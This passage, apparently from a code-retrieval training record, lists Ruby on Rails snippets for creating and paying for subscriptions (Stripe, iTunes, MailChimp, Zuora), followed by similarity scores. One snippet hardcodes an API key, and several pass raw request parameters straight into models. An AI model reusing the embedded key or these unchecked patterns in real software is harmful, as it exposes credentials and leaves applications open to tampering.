"def create\n @newsletter_subscription = NewsletterSubscription.new(params[:newsletter_subscription])\n\n respond_to do |format|\n if @newsletter_subscription.save\n if params[\"origin\"] == \"front_page\"\n format.html { redirect_to root_path, notice: 'Thank you, Subscription Received' }\n else\n format.html { redirect_to newsletter_subscriptions_path, notice: 'Subscription Created' }\n end\n else\n format.html { render action: \"new\" }\n format.json { render json: @newsletter_subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # inherit create from Devise action and extend to User\n super do |resource|\n # params[:plan] comes from hidded field in pro_form.html helper\n if params[:plan]\n resource.plan_id = params[:plan]\n if resource.plan_id == 2\n # create new function in models\n resource.save_with_subscription\n else\n resource.save\n end\n end\n end\n end",
"def invoice_created(data)\n subscription = ::Subscription.find_by(iugu_id: data[:subscription_id])\n\n unless subscription.nil?\n subscription.update(iugu_payment_status: data[:status])\n end\n end",
"def create\n @subscription = Subscription.new(params[:subscription])\n @subscription.created_at = Time.new\n # always use current user\n @subscription.user_id = current_user.id\n @subscription.subscription_id = current_user.id.to_s\n respond_to do |format|\n if not current_user.fitbit.nil?\n if @subscription.save\n path = ['/1/user/-', @subscription.collection_path, 'apiSubscriptions', @subscription.subscription_id + '-' + @subscription.collection_path]\n api = JSON.parse(current_user.fitbit.client.post(path.join('/') + '.json').body)\n flash[:success] = 'Subscription was successfully created.' \n format.html { redirect_to @subscription }\n format.json { render json: @subscription, status: :created, location: @subscription }\n else\n flash[:error] << @subscription.errors\n format.html { render action: \"new\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n\tend\n else\n flash[:error] = 'You are not connected to Fitbit.'\n format.html { redirect_to @subscription }\n format.json { render json: @subscription, status: :unprocessable_entity }\n end\n end\n end",
"def save_with_subscription\n if valid?\n customer = Stripe::Customer.create(description: email, plan: plan_id, card: stripe_card_token)\n self.stripe_customer_token = customer.id\n save!\n end\n end",
"def create\n @subscription_type = SubscriptionType.new(subscription_type_params)\n\n respond_to do |format|\n if @subscription_type.save\n format.html { redirect_to @subscription_type, notice: 'Subscription types was successfully created.' }\n format.json { render :show, status: :created, location: @subscription_type }\n else\n format.html { render :new }\n format.json { render json: @subscription_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vendor_subscription = VendorSubscription.new(vendor_subscription_params)\n\n respond_to do |format|\n if @vendor_subscription.save\n format.html { redirect_to @vendor_subscription, notice: 'Vendor subscription was successfully created.' }\n format.json { render :show, status: :created, location: @vendor_subscription }\n else\n format.html { render :new }\n format.json { render json: @vendor_subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_payment_method\n @subscription.create_payment_method(payment_method_attrs)\n end",
"def stripe_customer_subscription_created(event, req)\n stripe_customer_subscription_updated(event, req)\n end",
"def subscription_created(resource, opts = {})\n raise('expected an Effective::Customer') unless resource.kind_of?(Effective::Customer)\n\n @customer = resource\n subject = subject_for(__method__, 'New Subscription', resource, opts)\n headers = headers_for(resource, opts)\n\n mail(to: @customer.user.email, subject: subject, **headers)\n end",
"def subscribe\n # Find the user to pay.\n user = User.find( params[:id] )\n\n # Calculate the fee percentage that applies to\n # all invoices for this subscription.\n fee_percent = (Rails.application.secrets.fee_percentage * 100).to_i\n begin\n if user.stripe_customer_id\n customer = Stripe::Customer.retrieve(user.stripe_customer_id)\n customer.coupon = 'ahip200off'\n customer.save\n\n customer.subscriptions.create({:plan => params[:plan]})\n #customer.application_fee_percent = fee_percent\n # customer.save\n else\n # Create a customer and subscribe them to a plan\n # in one shot.\n # Normally after this you would store customer.id\n # in your database so that you can keep track of\n # the subscription status/etc. Here we're just\n # fire-and-forgetting it.\n customer = Stripe::Customer.create(\n {\n card: params[:token],\n email: current_user.email,\n plan: params[:plan],\n application_fee_percent: fee_percent,\n metadata: {name: user.name},\n # coupon: 'ahip200off',\n },\n user.secret_key\n )\n user.stripe_customer_id = customer.id\n user.save!\n\n end\n flash[:notice] = \"Subscribed! <a target='_blank' rel='app-owner' href='https://dashboard.stripe.com/test/customers/#{customer.id}'>View in dashboard »</a>\"\n\n rescue Stripe::CardError => e\n error = e.json_body[:error][:message]\n flash[:error] = \"Charge failed! #{error}\"\n end\n\n redirect_to user_path( user )\n end",
"def create\n @admin_subscription_plan = Admin::SubscriptionPlan.new(admin_subscription_plan_params)\n\n respond_to do |format|\n if @admin_subscription_plan.save\n format.html { redirect_to @admin_subscription_plan, notice: 'Subscription plan was successfully created.' }\n format.json { render :show, status: :created, location: @admin_subscription_plan }\n else\n format.html { render :new }\n format.json { render json: @admin_subscription_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @itunes_receipt = params[:subscription][:itunes_receipt] rescue nil\n\n Itunes.shared_secret = ENV[\"itunes_secret\"]\n if Rails.env.development?\n verify = Itunes::Receipt.verify! @itunes_receipt, :allow_sandbox_receipt\n else\n verify = Itunes::Receipt.verify! @itunes_receipt, :allow_sandbox_receipt\n end\n\n @latest = verify.latest.last\n @product_id = @latest.product_id\n @purchase_date = @latest.purchase_date\n @transaction_id = @latest.transaction_id\n\n @subscription_plan = SubscriptionPlan.where(:product_id => @product_id).first\n\n @subscription = Subscription.where(:token => \"IOS-\"+@transaction_id).first\n\n if @subscription\n @subscription.ends_on = @subscription_plan.monthly? ? @purchase_date + 1.month : @purchase_date + 1.year\n else\n @subscription = current_user.build_active_subscription(\n subscription_plan: @subscription_plan,\n token: \"IOS-\"+@transaction_id,\n ends_on: @subscription_plan.monthly? ? @purchase_date + 1.month : @purchase_date + 1.year,\n platform: :ios\n )\n end\n\n if @subscription.save\n render json: {\n success: true\n }\n else\n render json: {\n success: false\n }\n end\n\n rescue Exception => e\n logger.warn e.message\n render json: {\n success: false\n }\n end",
"def subscription_created(customer_param, atts = {})\n around_mail_action(:subscription_created, customer_param, atts) do\n return true unless EffectiveOrders.mailer[:send_subscription_created]\n\n @customer = (customer_param.kind_of?(Effective::Customer) ? customer_param : Effective::Customer.find(customer_param))\n @subscriptions = @customer.subscriptions\n @user = @customer.user\n\n @subject = subject_for(@customer, :subscription_created, 'New Subscription')\n\n mail(to: @customer.user.email, subject: @subject)\n end\n end",
"def create\n @subscription = Subscription.create(params[:subscription])\n groups = params[:subscription][:group_name].split(\",\").collect(&:strip)\n email = params[:subscription][:email]\n begin\n gb = Gibbon::API.new(\"f24fdd53217fab0b0698fdaba15c0c6f-us7\")\n subscribe = gb.lists.subscribe({\n :id => \"caa152eac4\",\n :email => {:email => email},\n :merge_vars => {\n :FNAME => \"\",\n :LNAME => \"\",\n :groupings => {\n 0 => {\n :id => 4457,\n :groups => groups\n }\n }\n },\n :update_existing => true,\n :double_optin => false\n })\n #logger.debug subscribe\n rescue Gibbon::MailChimpError\n \n end\n redirect_to \"/contact\"\n end",
"def create_account_and_create_subscription account_name\n contact = {\n address1: '1051 E Hillsdale Blvd',\n city: 'Foster City',\n country: 'United States',\n firstName: 'John',\n lastName: 'Smith',\n zipCode: '94404',\n state: 'CA'\n }\n\taccount_number = create_account account_name, contact\n\tputs '### Account created in Zuora with number: '+ account_number\n #get the rate plans for the product\n\tproduct_rate_plan = get_product_rate_plans_for_product 'Medium Monthly Plan w Discount'\n #create the subscription\n\tsubscription_number = create_subscription(\n account_number,\n DateTime.now.strftime(\"%Y-%m-%d\"),\n product_rate_plan['id']\n )\n\tputs '### Subscription created in Zuora with number: ' + subscription_number\n return subscription_number\nend",
"def create\n super\n # slack通知\n c = Payment.create_customer(resource.email, resource.name)\n resource.update(pay_customer_id: c.id)\n notifier = Slack::Notifier.new(Rails.application.config.slack_webhook_url)\n notifier.ping(\"新しく管理人が登録されました!\")\n end",
"def create\n @panel_subscription_transaction = Panel::SubscriptionTransaction.new(params[:panel_subscription_transaction])\n\n respond_to do |format|\n if @panel_subscription_transaction.save\n format.html { redirect_to(@panel_subscription_transaction, :notice => 'Subscription transaction was successfully created.') }\n format.json { render :json => @panel_subscription_transaction, :status => :created, :location => @panel_subscription_transaction }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @panel_subscription_transaction.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def make_subscription(params = {})\n plan = params.delete(:plan) || 'gold'\n {\n :current_period_end => 1308681468,\n :status => \"trialing\",\n :plan => {\n :interval => \"month\",\n :amount => 7500,\n :trial_period_days => 30,\n :object => \"plan\",\n :identifier => plan\n },\n :current_period_start => 1308595038,\n :start => 1308595038,\n :object => \"subscription\",\n :trial_start => 1308595038,\n :trial_end => 1308681468,\n :customer => \"c_test_customer\",\n :id => 's_test_subscription'\n }.merge(params)\n end",
"def create\n @subscription_type = SubscriptionType.new(params[:subscription_type])\n\n respond_to do |format|\n if @subscription_type.save\n flash[:notice] = 'SubscriptionType was successfully created.'\n format.html { redirect_to(@subscription_type) }\n format.xml { render :xml => @subscription_type, :status => :created, :location => @subscription_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @subscription_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n account_code = params[:account_code]\n plan_code = params[:plan]\n user = User.find_by_email(account_code)\n @subscription = Subscription.create(account_code: account_code, plan_code: plan_code, user_id: user.id)\n end",
"def create\n @subscription_user = SubscriptionUser.new(subscription_user_params)\n\n respond_to do |format|\n if @subscription_user.save\n format.html { redirect_to @subscription_user, notice: 'Subscription user was successfully created.' }\n format.json { render :show, status: :created, location: @subscription_user }\n else\n format.html { render :new }\n format.json { render json: @subscription_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t@plan=Plan.find(params[:plan_id])\n\tif !@plan.present?\n\t\tredirect_to new_buy_plan_path, :flash => { :error => \"plan not found\" }\n\t\treturn\n\tend\n\n\tif current_user.stripe_id.present?\n\t\tcustomer_id=current_user.stripe_id\n\t\tcustomer = Stripe::Customer.retrieve(customer_id)\n\t\tcustomer.sources.create(:source => params[:stripeToken])\n\telse\n\t\tcustomer = Stripe::Customer.create(\n\t\t\t:email => params[:stripeEmail],\n\t\t\t:source => params[:stripeToken]\n\t\t)\n\t\tcustomer_id=customer.id\n\t\tcurrent_user.stripe_id=customer_id\n\t\tcurrent_user.save(validate: false)\n\tend\n\n\tsubscription = customer.subscriptions.create(:plan => @plan.stripe_id )\n\n\t@plan=BuyPlan.new(:plan_id => params[:plan_id], :user_id => current_user.id, :status=>1)\n\t@plan.save\n\n\tredirect_to pages_page0_path, :flash => { :notice => \"purchase completed\" }\n\n\trescue Stripe::CardError => e\n\t\tflash[:error] = e.message\n\t\tredirect_to new_buy_plan_path(:id => params[:plan_id])\n end",
"def on_subscription_success\n end",
"def new_subscription(user, subscribable)\n @user = user \n @subscribable = subscribable \n\n mail to: user.email, subject: \"Subscribed to #{subscribable.name} Updates\"\n end"
] |
[
"0.7746081",
"0.76549315",
"0.76422286",
"0.7485327",
"0.74802405",
"0.7476503",
"0.7459171",
"0.74475074",
"0.74396557",
"0.741183",
"0.739461",
"0.7369999",
"0.73657215",
"0.73461336",
"0.7341703",
"0.73408794",
"0.7329869",
"0.7320134",
"0.73191017",
"0.7317812",
"0.7317812",
"0.73026115",
"0.7300831",
"0.72968584",
"0.7294426",
"0.7277118",
"0.7277094",
"0.72626543",
"0.7260256",
"0.72391033",
"0.7230275",
"0.7225011",
"0.72157764",
"0.719824",
"0.7179653",
"0.71661",
"0.7163996",
"0.71561646",
"0.71486527",
"0.71434116",
"0.71314305",
"0.7121692",
"0.711398",
"0.7101334",
"0.70934933",
"0.7077703",
"0.7076692",
"0.7068668",
"0.7057764",
"0.7048159",
"0.703912",
"0.7018993",
"0.7014871",
"0.7003443",
"0.69820446",
"0.69785124",
"0.69561684",
"0.69478136",
"0.69430953",
"0.69357175",
"0.6924433",
"0.69127995",
"0.6890675",
"0.6860193",
"0.6859583",
"0.6858273",
"0.68533295",
"0.68452257",
"0.68448085",
"0.6775306",
"0.67744446",
"0.67682606",
"0.6766824",
"0.6765195",
"0.67512864",
"0.6750276",
"0.6731185",
"0.67287683",
"0.67276955",
"0.6725336",
"0.6722457",
"0.671672",
"0.6715314",
"0.6713203",
"0.6712093",
"0.671084",
"0.6703738",
"0.6691934",
"0.66834986",
"0.6682614",
"0.66608113",
"0.6649541",
"0.66432476",
"0.6642908",
"0.6636735",
"0.6629869",
"0.6627756",
"0.66263866",
"0.66254896",
"0.66205466",
"0.6617187"
] |
0.0
|
-1
|
Free user converts to paid subscription
|
def convert_to_paid(user_name, email, plan)
@user_name = user_name
@email = email
@plan = plan
mail to: "Susie Ye <susie@baserails.com>", subject: "Convert to #{plan}: #{email}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def subscribe\n # Find the user to pay.\n user = User.find( params[:id] )\n\n # Calculate the fee percentage that applies to\n # all invoices for this subscription.\n fee_percent = (Rails.application.secrets.fee_percentage * 100).to_i\n begin\n if user.stripe_customer_id\n customer = Stripe::Customer.retrieve(user.stripe_customer_id)\n customer.coupon = 'ahip200off'\n customer.save\n\n customer.subscriptions.create({:plan => params[:plan]})\n #customer.application_fee_percent = fee_percent\n # customer.save\n else\n # Create a customer and subscribe them to a plan\n # in one shot.\n # Normally after this you would store customer.id\n # in your database so that you can keep track of\n # the subscription status/etc. Here we're just\n # fire-and-forgetting it.\n customer = Stripe::Customer.create(\n {\n card: params[:token],\n email: current_user.email,\n plan: params[:plan],\n application_fee_percent: fee_percent,\n metadata: {name: user.name},\n # coupon: 'ahip200off',\n },\n user.secret_key\n )\n user.stripe_customer_id = customer.id\n user.save!\n\n end\n flash[:notice] = \"Subscribed! <a target='_blank' rel='app-owner' href='https://dashboard.stripe.com/test/customers/#{customer.id}'>View in dashboard »</a>\"\n\n rescue Stripe::CardError => e\n error = e.json_body[:error][:message]\n flash[:error] = \"Charge failed! #{error}\"\n end\n\n redirect_to user_path( user )\n end",
"def paid_signup(user)\n DelayedKiss.alias(user.full_name, user.email)\n DelayedKiss.record(user.email, 'Sent Paid Signup Email')\n @user = user\n mail to: user.email, subject: \"You've Upgraded to our Business Pro plan!\"\n end",
"def paid\n current_user.subscribe=\"yes\"\n \n respond_to do |format|\n if current_user.save\n flash[:notice] = 'Thanks for paying'\n format.html { redirect_to :controller =>\"streams\"}\n format.xml { render :xml => @stream, :status => :created, :location => @stream }\n \n end\n end\n end",
"def change_subscription\n\tbounce_free_account\n\n\t@subs = current_user.subscriptions \n\tif @subs && !@subs.active.blank?\n\t@s = @subs.active.first\n\t@s_year = @s.created_at + 365.days\n\t#@c = Stripe::Customer.retrieve(@s.customer_id)\n\telse #this should not happen - be careful to make sure every customer has a subscription; or at least if they have a \n\t\t# cancel subsciption link, there is an active subscription to be canceled. \n\tredirect_to current_user, notice: 'You have no active subscriptions.'\n\t # return false is this line needed to end the action?\n\tend \n\n\t# users first (oldest) subscription, for displaying free trial information\n\t@firstsub = @subs.first\n\t@firstsub_end = @firstsub.created_at + 14.days\n\n\t#@plan = Plan.find_by_name(@s.plan_id) #this would be better for easily retrieving other associated plan info; but could have just used @s.plan_id for the plan name\n\tif !@s.my_plan_id.nil? # so that @plan isn't nil, which would cause problems in the view \n\t@plan = Plan.find_by_my_plan_id(@s.my_plan_id) # NOTE THAT @PLAN IS THE PLANOBJECT\n\t\t\t\t#see if active subscription has a coupon associated with it\n\t\t\t\tif !@s.coupon.nil? && Coupon.find_by_name(@s.coupon)\n\t\t\t\t\t@coupon = Coupon.find_by_name(@s.coupon)\n\t\t\t\t\t@code = @coupon.name\n\t\t\t\t\t@new_price = @plan.monthly_cost_cents * (100 - @coupon.percent_off)/100\n\t\t\t\telse\n\t\t\t\t\t@coupon = nil \n\t\t\t\t\t@code = nil\n\t\t\t\t\t@new_price = nil \n\t\t\t\tend \n\telse\n\t\t@plan = nil\n\t\t@coupon = nil \n\t\t@code = nil \n\t @new_price = nil \n\tend \n\nend",
"def set_active_subscriptions_paid!\r\n self.subscriptions.all { |sub| sub.pay! }\r\n end",
"def free_signup(user)\n @user = user\n add_user_to_marketing_list(user)\n DelayedKiss.alias(user.full_name, user.email)\n DelayedKiss.record(user.email, 'Sent Free Signup Email')\n DelayedKiss.record(user.email, 'Subscribed to Newsletter', {'Newsletter Name' => \"GV Free 5 Alerts Plan List\"})\n mail to: user.email, subject: \"Thanks for signing up to Grapevine's Free Forever plan!\"\n end",
"def activate\n \n # Subscription vitals\n customer_ref = params[:SubscriptionReferrer]\n plan_ref = params[:ProductPath].sub(\"/\", \"\")\n subscription_ref = params[:SubscriptionReference]\n \n # subscription info\n status = params[:SubscriptionStatus].to_s.downcase.strip\n end_date = params[:SubscriptionEndDate]\n next_period_date = params[:SubscriptionNextPeriodDate]\n status_reason = params[:SubscriptionStatusReason]\n total_price = params[:SubscriptionTotalPriceValue]\n \n user = User.find(customer_ref)\n plan = Plan.find_by_fastspring_reference(plan_ref)\n \n raise \"Received subscription activation but the subscription status is not 'active', but is rather: '#{status}'\" unless status == \"active\"\n raise \"Received subscription activation for #{user.id} but couldn't find a matching plan: #{plan_ref}\" unless plan\n raise \"Received subscription activation for #{user.id} but they already have an active subscription with reference #{user.active_subscription.reference}\" if user.subscribed?\n\n Subscription.create!(\n user: user,\n reference: subscription_ref,\n end_date: end_date,\n next_period_date: next_period_date,\n status: status,\n status_reason: status_reason,\n total_price: total_price,\n currency: params[:SubscriptionTotalPriceCurrency]\n )\n user.plan = plan\n user.save!\n\n render nothing: true, status: 200\n end",
"def perform_test_payment\n subscription = user.subscriptions.not_paid.first\n SubscriptionManager.new(subscription: subscription).pay if subscription\n end",
"def step3\n user = session[:user]\n #for v1, always this will be the subscription basic 18$, for v2 this will change\n user.subscription_id = 1\n end",
"def save_with_subscription\n #If user data passes validations, then call Stripe with user information\n #to get a new subscription created upon charging their card\n if valid?\n customer = Stripe::Customer.create(description: email, plan: plan_id, card: stripe_card_token)\n self.stripe_customer_token = customer.id\n save!\n end\n end",
"def success\n if params[:reference].present?\n\n paystackObj = Paystack.new(ENV['PAYSTACK_PUBLIC_KEY'], ENV['PAYSTACK_PRIVATE_KEY'])\n\n subscriptions = PaystackSubscriptions.new(paystackObj)\n result = subscriptions.create(\n\n :customer => current_user.email,\n :plan => \"PLN_96ws6ovviw8028d\", #plan id\n :amount => 200000 #in KOBO\n\n \n )\n\n\n u = current_user\n u.subscribed = true\n u.subscription_code = code\n u.email_token = token\n u.save!\n \n else\n redirect_to new_subscription_path, notice: \"Error Making Payment, Try Again\"\n\n end\n end",
"def process_payment_unlimitess\n customer = Stripe::Customer.create email: email, card: token\n update_stripe_customer_id(customer)\n Stripe::Subscription.create customer: customer.id,\n items: [\n {price: 'price_1IndU1Bje2Voz8401SdrQuM0'},\n ]\n\n# customer = Stripe::Customer.create email: email, card: token\n# Stripe::Charge.create customer: customer.id,\n# amount: 10000,\n# description: 'Premium',\n# currency: 'usd'\n end",
"def cancel\nbounce_free_account\n\n@subs = current_user.subscriptions \n\n# users first (oldest) subscription, for displaying free trial information\n\t@firstsub = @subs.first\n\t@firstsub_end = @firstsub.created_at + 14.days\n\n\tif @subs && !@subs.active.blank?\n\t@s = @subs.active.first\n\t\n\t#@c = Stripe::Customer.retrieve(@s.customer_id)\n\telse #this should not happen - be careful to make sure every customer has a subscription; or at least if they have a \n\t\t# cancel subsciption link, there is an active subscription to be canceled. \n\tredirect_to current_user, notice: 'You have no active subscriptions.'\n\tend \nend",
"def subscription_confirmation(user, project)\n @user = user\n @project = project\n\n # Change the 'to:' section to your partner's name and email\n mail( to: \"#{user.name} <#{user.email}>\",\n subject: \"Subscribed to #{project.name.capitalize} | Ativa\")\n end",
"def create_subscription\n subscription = nil\n stripe_call do\n local_plan = Plan.active.find(@params[:user][:plan_id])\n return false if local_plan.nil?\n stripe_plan = Stripe::Plan.retrieve(local_plan.stripe_id)\n # If the plan has a trial time, it does not need a stripe token to create a subscription\n # We assume you have a trial time > 0. Otherwise there will be 2 customers created for\n # each subscribed customer. One at registration and another when subscribing.\n subscription = customer.subscriptions.create(\n source: @params[:stripeToken],\n plan: stripe_plan.id\n )\n end\n return false if subscription.nil?\n\n user_attributes_to_update = {\n stripe_id: customer.id,\n stripe_subscription_id: subscription.id\n }\n assign_card_details(user_attributes_to_update, @params)\n @user.update(user_attributes_to_update)\n end",
"def subscription_payment\n\n\n @sub = Subscription.where(return_token: params[:id]).first\n\n @amount = 0\n if @sub.subscription_type = \"Standard\"\n @amount = 3\n end\n \n if @sub.subscription_type = \"Pro\"\n @amount = 5\n end\n\n if @sub.subscription_type = \"Enterprise\"\n @amount = 10\n end\n\n @sub.payment_status = \"Paid\"\n @sub.save\n\n @sub_payment = SubscriptionPayment.new\n @sub_payment.subscription_type = @sub.subscription_type\n @sub_payment.amount = @amount\n @sub_payment.date_from = @sub.date_from\n @sub_payment.date_to = @sub.date_to\n @sub_payment.payment_for = \"Subscription\"\n @sub_payment.subscription_id = @sub.id\n @sub_payment.payment_date = Date.today\n\n @sub_payment.save\n\n redirect_to :controller => 'backend', :action => 'dashboard'\n\n end",
"def fetch_subscriptions_payment\n subscription = UserSubscription.where(id: params[:subscription_id]).first\n\n if subscription.present?\n message = subscription.get_payment_message\n #we need the payment details for the paused orders hence passing \"paused\" to this function.\n card_id = subscription.get_card(\"paused\")\n else\n flash[:error] = \"Sorry, you are not authorized for this subscription.\"\n redirect_to main_app.profile_users_path and return\n end\n\n render json: {message: message, card_id: card_id}.to_json\n end",
"def renew_business_subscription( user, package, business, credit_card)\n charge_and_subscribe user, package, business, nil, credit_card\n end",
"def charge\r\n if paypal?\r\n if (@response = paypal.get_profile_details(billing_id)).success?\r\n next_billing_date = Time.parse(@response.params['next_billing_date'])\r\n if next_billing_date > Time.now.utc\r\n update_attributes(:next_renewal_at => next_billing_date, :state => 'active')\r\n subscription_payments.create(:subscriber => subscriber, :amount => amount) unless amount == 0\r\n true\r\n else\r\n false\r\n end\r\n else\r\n errors.add(:base, @response.message)\r\n false\r\n end\r\n else\r\n if amount == 0 || (@response = gateway.purchase(amount_in_pennies, billing_id)).success?\r\n update_attributes(:next_renewal_at => self.next_renewal_at.advance(:months => self.renewal_period), :state => 'active')\r\n subscription_payments.create(:subscriber => subscriber, :amount => amount, :transaction_id => @response.authorization) unless amount == 0\r\n true\r\n else\r\n errors.add(:base, @response.message)\r\n false\r\n end\r\n end\r\n end",
"def new_subscription(user_name, email, plan)\n @user_name = user_name\n @email = email\n @plan = plan\n\n mail to: \"Susie Ye <susie@baserails.com>\", subject: \"#{plan.capitalize} User: #{email}\"\n end",
"def paid(id)\n\t\t@user = User.find(id)\t\n\t\t\tmail(\n\t\t :subject => 'New Sign Up' ,\n\t\t :to => 'patrick@relationally.net' ,\n\t\t :track_opens => 'true'\n\t\t\t)\n\tend",
"def subscription\n @result = ChargeBee::Subscription.retrieve(@subscription_id)\n @billing_address = @result.customer.billing_address\n @country_codes = get_country_codes\n \n @shipping_address = retrieve_shipping_address(@subscription_id)\n @invoice_estimate = nil\n if @result.subscription.status != \"cancelled\" && @result.subscription.status != \"non_renewing\"\n @invoice_estimate = ChargeBee::Estimate.renewal_estimate(@subscription_id, {\"use_existing_balances\" => \"true\"}).estimate.invoice_estimate\n end\n \n @subscription_status = subscription_status()[@result.subscription.status]\n end",
"def charge_pro_rata_and_subscription\n #\n # charge subscription and pro-rata recurring charges (including today), only when installed\n unless order.blank?\n # \n # Fri Nov 5 06:29:06 IST 2010, ramonrails\n # First charge pro-rata. That is one time. Then charge subscription.\n # So, for some reason if subscription fails, we do not miss pro-rata charges\n #\n # pro-rata for subscription should also be charged\n if order.charge_pro_rata # charge the recurring cost calculated for remaining days of this month, including today\n #\n # charge the credit card subscription now\n if order.charge_subscription\n #\n # now make user \"Installed\"\n # \n # Fri Apr 1 23:23:01 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4258\n if self.senior.any_panic_received?\n self.senior.update_attribute( :status, User::STATUS[:installed]) # force_status!( :installed)\n end\n \n # \n # Fri May 27 00:46:10 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4486#note-56\n self.senior.save # update_invoice_attributes\n \n # self.senior.status = User::STATUS[:installed]\n # self.senior.send( :update_without_callbacks)\n # \n # Fri Feb 4 01:05:28 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4147\n # #\n # # all caregivers are active now\n # caregivers.each { |e| e.set_active_for( senior, true) }\n #\n # add a row to triage audit log\n # cyclic dependency is not created. update_withut_callbacks is used in triage_audit_log\n attributes = {\n :user => senior,\n :is_dismissed => senior.last_triage_status,\n :status => senior.status,\n :created_by => self.updated_by, # senior.id,\n :updated_by => self.updated_by, # senior.id,\n :description => \"Transitioned from 'Ready to Bill' state to 'Installed'. Billed. Subscription charged. Pro-rata charged.\"\n }\n TriageAuditLog.create( attributes)\n #\n # explicitly send email to group admins, halouser, caregivers. tables are saved without callbacks\n # \n # Wed Nov 24 23:01:26 IST 2010, ramonrails\n # * https://spreadsheets0.google.com/ccc?key=tCpmolOCVZKNceh1WmnrjMg&hl=en#gid=4\n # * https://redmine.corp.halomonitor.com/issues/3785\n # * shifted to variable to reduce double call\n _email_to = [ senior.group_admins, subscriber, group, group.master_group\n ].flatten.compact.collect(&:email).compact.insert( 0, \"senior_signup@halomonitoring.com\").uniq \n # \n # Mon Feb 7 21:26:10 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4146#note-6\n # # * include caregivers as they were earlier\n # (_email_to + senior.has_caregivers.collect(&:email)).flatten.compact.uniq.each do |_email|\n # # * send installation intimations\n # UserMailer.deliver_user_installation_alert( senior, _email)\n # end\n # \n # Thu Feb 3 23:51:32 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4146\n # * when both charges are green, send these emails\n # * we collected these emails in a variable already. caregivers do not get this email\n _email_to.each { |_email| UserMailer.deliver_subscription_start_alert( senior, _email) }\n end\n end\n\n end\n end",
"def subscribed?(user)\n user.subscription.subscribed==true\n end",
"def purchase_subscription\n\t\tif self.total > 0\n\t\t\tresponse = GATEWAY.recurring(self.total, credit_card, options_recurring)\n\t\t\tOrderTransaction.create!(\t:action => \"subscription\",\n\t\t\t \t\t\t\t\t\t\t:order_id => self.id,\n\t\t\t\t\t\t\t\t\t\t:price => self.total, \n\t\t\t\t\t\t\t\t\t\t:success => response.success?, \n\t\t\t\t\t\t\t\t\t\t:reference => response.authorization,\n\t\t\t\t\t\t\t\t\t\t:message => response.message,\n\t\t\t\t\t\t\t\t\t\t:params => response.params,\n\t\t\t\t\t\t\t\t\t\t:test => response.test? \n\t\t\t\t\t\t\t\t\t\t)\n\n\t\t\tif response.success?\n\t\t\t\t#todo check the subscription_id setting\n\t\t\t\tSubscribing.create!(\t:user_id => self.user.id,\n\t\t\t\t\t\t\t\t\t\t:order_id => self.id,\n\t\t\t\t\t\t\t\t\t\t:subscription_id => self.sku.sku_items.first.item.id,\n\t\t\t\t\t\t\t\t\t\t:status => 'ActiveProfile',\n\t\t\t\t\t\t\t\t\t\t:profile_id => self.order_transaction.params[\"profile_id\"],\n\t\t\t\t\t\t\t\t\t\t:origin => 'paid',\n\t\t\t\t\t\t\t\t\t\t:trial_end_date => options_recurring[:starting_at]\n\t\t\t\t\t\t\t\t\t)\n\t\t\tend\n\n\t\t\tresponse.success?\n\t\telse\n\t\t\treturn false\t\t\n\t\tend\n\tend",
"def successfully_charged(invoice, user)\n @subscription = invoice.lines.data.first\n @user = user\n @subscription_plan = @subscription.plan.name\n @subscription_amount = format_amount(invoice.total)\n @subscription_start = format_timestamp(@subscription.period.start)\n @subscription_end = format_timestamp(@subscription.period.end)\n # Mail invoice \n mail to: user.email, subject: \"Grapevine Payment Receipt\"\n end",
"def confirm\n if current_user.recurly_enabled?\n redirect_to dashboard_url, notice: \"Subscription already activated!\"\n else\n if BillingService.confirm_subscription(current_user, params[:recurly_token].to_s)\n redirect_to dashboard_url, notice: \"Your subscription has been successfully activated!\"\n else\n redirect_to error_subscription_url, alert: \"An error occurred!\"\n end\n end\n end",
"def show\n account_code = params[:account_code]\n plan_code = params[:plan]\n user = User.find_by_email(account_code)\n @subscription = Subscription.create(account_code: account_code, plan_code: plan_code, user_id: user.id)\n end",
"def is_paid_subscriber?\n has_role? :paid_subscription\n end",
"def allow_free_trial\n result = Spreedly.post(\"/subscribers/#{id}/allow_free_trial.xml\")\n\n case result.code.to_s\n when /2../\n else\n raise \"Could not allow subscriber to another trial: result code #{result.code}.\"\n end\n end",
"def new_subscription(user, subscribable)\n @user = user \n @subscribable = subscribable \n\n mail to: user.email, subject: \"Subscribed to #{subscribable.name} Updates\"\n end",
"def thank_you\n user = session[:user]\n user.zip = params[:zip]\n \n start_date = Date.today\n start_date += 61\n \n response = create_autorrecuring_subscription(start_date, user, params[:card_number], params[:month], params[:year], \n params[:cvc], params[:card_type], params[:city], params[:state],\n params[:billing_address_1], params[:billing_address_2])\n if response.success?\n session[:errors] = nil\n session[:user] = nil\n user.arb_subscription_id = response.subscription_id\n user.arb_status = AuthorizeNet::ARB::Subscription::Status::ACTIVE\n user.billing_information_id = user.add_billing_information(params[:fullname], params[:billing_address_1] ,\n params[:billing_address_2], params[:city], params[:state],\n params[:zip]).id\n user.save\n else\n puts \"Failed to make purchase. \" + response.response_reason_code + \" - \" + response.response_reason_text\n user.errors.clear()\n user.errors.add(:transaction, response.response_reason_text)\n session[:errors] = user.errors\n redirect_to admin_signup_step3_path\n end \n\n \n end",
"def subscribe(user)\n return false if user == self\n if subscription = find_any_subscription_with(user)\n subscription.update_attributes(status: Subscription.statuses[:allowed])\n else\n Subscription.new(subscriber_id: user.id, user_id: self.id).save\n end\n end",
"def change_subscription\n @user = User.find(params[:id])\n @user.notify = !@user.notify\n @user.save\n respond_with(@user) do\n redirect_to \"/users/successful_unsubscribe\"\n end\n end",
